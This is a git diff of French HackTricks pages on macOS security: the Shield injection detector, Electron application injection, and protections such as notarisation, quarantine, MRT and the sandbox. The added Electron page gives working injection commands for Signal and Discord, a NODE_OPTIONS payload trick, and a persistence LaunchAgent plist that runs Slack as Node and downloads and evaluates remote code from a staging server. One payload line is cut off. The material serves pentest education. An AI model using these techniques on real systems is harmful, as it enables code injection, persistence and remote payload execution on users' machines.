([**Github**](https://github.com/theevilbit/Shield)) est une application open source qui peut **détecter et bloquer les actions d'injection de processus** : + +* En utilisant des **variables d'environnement** : il surveillera la présence de l'une des variables d'environnement suivantes : **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** et **`ELECTRON_RUN_AS_NODE`** +* En utilisant des appels **`task_for_pid`** : pour trouver quand un processus veut obtenir le **port de tâche d'un autre**, ce qui permet d'injecter du code dans le processus. +* **Paramètres des applications Electron** : quelqu'un peut utiliser les arguments de ligne de commande **`--inspect`**, **`--inspect-brk`** et **`--remote-debugging-port`** pour démarrer une application Electron en mode de débogage, et ainsi injecter du code dans celle-ci. +* En utilisant des **liens symboliques** ou **liens physiques** : généralement, l'abus le plus courant consiste à **placer un lien avec nos privilèges d'utilisateur**, et **le pointer vers un emplacement de privilège supérieur**. La détection est très simple pour les liens physiques et symboliques. Si le processus créant le lien a un **niveau de privilège différent** de celui du fichier cible, nous créons une **alerte**. Malheureusement, dans le cas des liens symboliques, le blocage n'est pas possible, car nous n'avons pas d'informations sur la destination du lien avant la création. Il s'agit d'une limitation du framework EndpointSecuriy d'Apple. + +## Références + +* [https://theevilbit.github.io/shield/](https://theevilbit.github.io/shield/) +* [https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) +
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md new file mode 100644 index 000000000..8df2517e3 --- /dev/null +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -0,0 +1,81 @@ +## Injection d'applications Electron macOS + +Selon [**cet article**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), si vous exécutez une application Electron avec des indicateurs tels que **`--inspect`**, **`--inspect-brk`** et **`--remote-debugging-port`**, un **port de débogage sera ouvert** pour que vous puissiez vous y connecter (par exemple depuis Chrome dans `chrome://inspect`) et vous pourrez **injecter du code** ou même lancer de nouveaux processus.\ +Par exemple: + +{% code overflow="wrap" %} +```bash +/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229 +# Connect to it using chrome://inspect and execute a calculator with: +require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') +``` +{% endcode %} + +{% hint style="danger" %} +Notez que la plupart des applications Electron ignoreront désormais les paramètres node (tels que --inspect) lorsqu'elles sont lancées, sauf si la variable d'environnement **`ELECTRON_RUN_AS_NODE`** est définie. + +Cependant, vous pouvez toujours utiliser le paramètre electron `--remote-debugging-port=9229`, mais la charge utile précédente ne fonctionnera pas pour exécuter d'autres processus. +{% endhint %} + +## `ELECTRON_RUN_AS_NODE` + +Selon [**la documentation**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), si cette variable d'environnement est définie, elle démarrera le processus en tant que processus Node.js normal. + +{% code overflow="wrap" %} +```bash +# Run this +ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord +# Then from the nodeJS console execute: +require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') +``` +{% endcode %} + +Comme [**proposé ici**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), vous pourriez abuser de cette variable d'environnement dans un plist pour maintenir la persistance : +```xml + + + + + EnvironmentVariables + + ELECTRON_RUN_AS_NODE + true + + Label + com.xpnsec.hideme + ProgramArguments + + /Applications/Slack.app/Contents/MacOS/Slack + -e + const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]); + + RunAtLoad + + + +``` +### `ELECTRON_RUN_AS_NODE` & `NODE_OPTIONS` + +Avec cette combinaison, vous pouvez stocker la charge utile dans un fichier différent et exécuter ce fichier : + +{% code overflow="wrap" %} +```bash +# Content of /tmp/payload.js +require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$ + +# Execute +NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord +``` +{% endcode %} + +
+ +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). + +
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md index dd7bfe77b..31cbb976f 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md @@ -48,15 +48,15 @@ codesign -s toolsdemo ``` ### Notarisation -Le processus de notarisation d'Apple sert de mesure de sécurité supplémentaire pour protéger les utilisateurs des logiciels potentiellement dangereux. Il implique que le développeur soumette son application à l'examen du service de notarisation d'Apple, qui ne doit pas être confondu avec l'examen de l'application. Ce service est un système automatisé qui examine le logiciel soumis à la recherche de contenu malveillant et de tout problème potentiel de signature de code. +Le processus de notarisation d'Apple sert de protection supplémentaire pour protéger les utilisateurs des logiciels potentiellement dangereux. Il implique que le développeur soumette son application à l'examen du service de notarisation d'Apple, qui ne doit pas être confondu avec l'examen de l'application. Ce service est un système automatisé qui examine le logiciel soumis pour détecter la présence de contenu malveillant et tout problème potentiel de signature de code. Si le logiciel passe cette inspection sans soulever de préoccupations, le service de notarisation génère un ticket de notarisation. Le développeur est alors tenu de joindre ce ticket à son logiciel, un processus appelé "agrafage". De plus, le ticket de notarisation est également publié en ligne où Gatekeeper, la technologie de sécurité d'Apple, peut y accéder. -Lors de la première installation ou exécution du logiciel par l'utilisateur, l'existence du ticket de notarisation - qu'il soit agrafé à l'exécutable ou trouvé en ligne - informe Gatekeeper que le logiciel a été notarisé par Apple. Par conséquent, Gatekeeper affiche un message descriptif dans la boîte de dialogue de lancement initial, indiquant que le logiciel a été vérifié pour la présence de contenu malveillant par Apple. Ce processus renforce ainsi la confiance de l'utilisateur dans la sécurité du logiciel qu'il installe ou exécute sur son système. +Lors de la première installation ou exécution du logiciel par l'utilisateur, l'existence du ticket de notarisation - qu'il soit agrafé à l'exécutable ou trouvé en ligne - informe Gatekeeper que le logiciel a été notarisé par Apple. Par conséquent, Gatekeeper affiche un message descriptif dans la boîte de dialogue de lancement initial, indiquant que le logiciel a été vérifié pour la présence de contenu malveillant par Apple. Ce processus renforce ainsi la confiance des utilisateurs dans la sécurité des logiciels qu'ils installent ou exécutent sur leurs systèmes. ### Fichiers en quarantaine -Lors du téléchargement d'une application ou d'un fichier, des applications macOS spécifiques telles que les navigateurs Web ou les clients de messagerie électronique attachent un attribut de fichier étendu, communément appelé "drapeau de quarantaine", au fichier téléchargé. Cet attribut sert de mesure de sécurité pour marquer le fichier comme provenant d'une source non fiable (Internet) et potentiellement risqué. Cependant, toutes les applications n'attachent pas cet attribut, par exemple, les logiciels clients BitTorrent courants contournent généralement ce processus. +Lors du téléchargement d'une application ou d'un fichier, des applications spécifiques de macOS telles que les navigateurs Web ou les clients de messagerie électronique attachent un attribut de fichier étendu, communément appelé "drapeau de quarantaine", au fichier téléchargé. Cet attribut agit comme une mesure de sécurité pour marquer le fichier comme provenant d'une source non fiable (Internet) et potentiellement porteur de risques. Cependant, toutes les applications n'attachent pas cet attribut, par exemple, les logiciels clients BitTorrent courants contournent généralement ce processus. La présence d'un drapeau de quarantaine signale la fonctionnalité de sécurité Gatekeeper de macOS lorsque l'utilisateur tente d'exécuter le fichier. @@ -137,20 +137,24 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC L'outil de suppression de logiciels malveillants (MRT) est une autre partie de l'infrastructure de sécurité de macOS. Comme son nom l'indique, la fonction principale de MRT est de **supprimer les logiciels malveillants connus des systèmes infectés**. -Une fois que des logiciels malveillants sont détectés sur un Mac (soit par XProtect, soit par d'autres moyens), MRT peut être utilisé pour **supprimer automatiquement les logiciels malveillants**. MRT fonctionne silencieusement en arrière-plan et s'exécute généralement chaque fois que le système est mis à jour ou lorsqu'une nouvelle définition de logiciel malveillant est téléchargée. +Une fois que le logiciel malveillant est détecté sur un Mac (soit par XProtect, soit par d'autres moyens), MRT peut être utilisé pour **supprimer automatiquement le logiciel malveillant**. MRT fonctionne silencieusement en arrière-plan et s'exécute généralement chaque fois que le système est mis à jour ou lorsqu'une nouvelle définition de logiciel malveillant est téléchargée (il semble que les règles que MRT utilise pour détecter les logiciels malveillants soient à l'intérieur du binaire). Bien que XProtect et MRT fassent tous deux partie des mesures de sécurité de macOS, ils remplissent des fonctions différentes : * **XProtect** est un outil préventif. Il **vérifie les fichiers lorsqu'ils sont téléchargés** (via certaines applications), et s'il détecte des types de logiciels malveillants connus, il **empêche l'ouverture du fichier**, empêchant ainsi le logiciel malveillant d'infecter votre système en premier lieu. -* **MRT**, en revanche, est un **outil réactif**. Il fonctionne après la détection de logiciels malveillants sur un système, dans le but de supprimer le logiciel incriminé pour nettoyer le système. +* **MRT**, en revanche, est un outil **réactif**. Il fonctionne après la détection de logiciels malveillants sur un système, dans le but de supprimer le logiciel incriminé pour nettoyer le système. ## Limitation des processus ### SIP - Protection de l'intégrité du système +{% content-ref url="macos-sip.md" %} +[macos-sip.md](macos-sip.md) +{% endcontent-ref %} + ### Bac à sable -Le bac à sable de MacOS **limite les applications** s'exécutant à l'intérieur du bac à sable aux **actions autorisées spécifiées dans le profil de bac à sable** avec lequel l'application s'exécute. Cela aide à garantir que **l'application n'accédera qu'aux ressources attendues**. +Le bac à sable de macOS **limite les applications** s'exécutant à l'intérieur du bac à sable aux **actions autorisées spécifiées dans le profil de bac à sable** avec lequel l'application s'exécute. Cela aide à garantir que **l'application n'accédera qu'aux ressources attendues**. {% content-ref url="macos-sandbox/" %} [macos-sandbox](macos-sandbox/)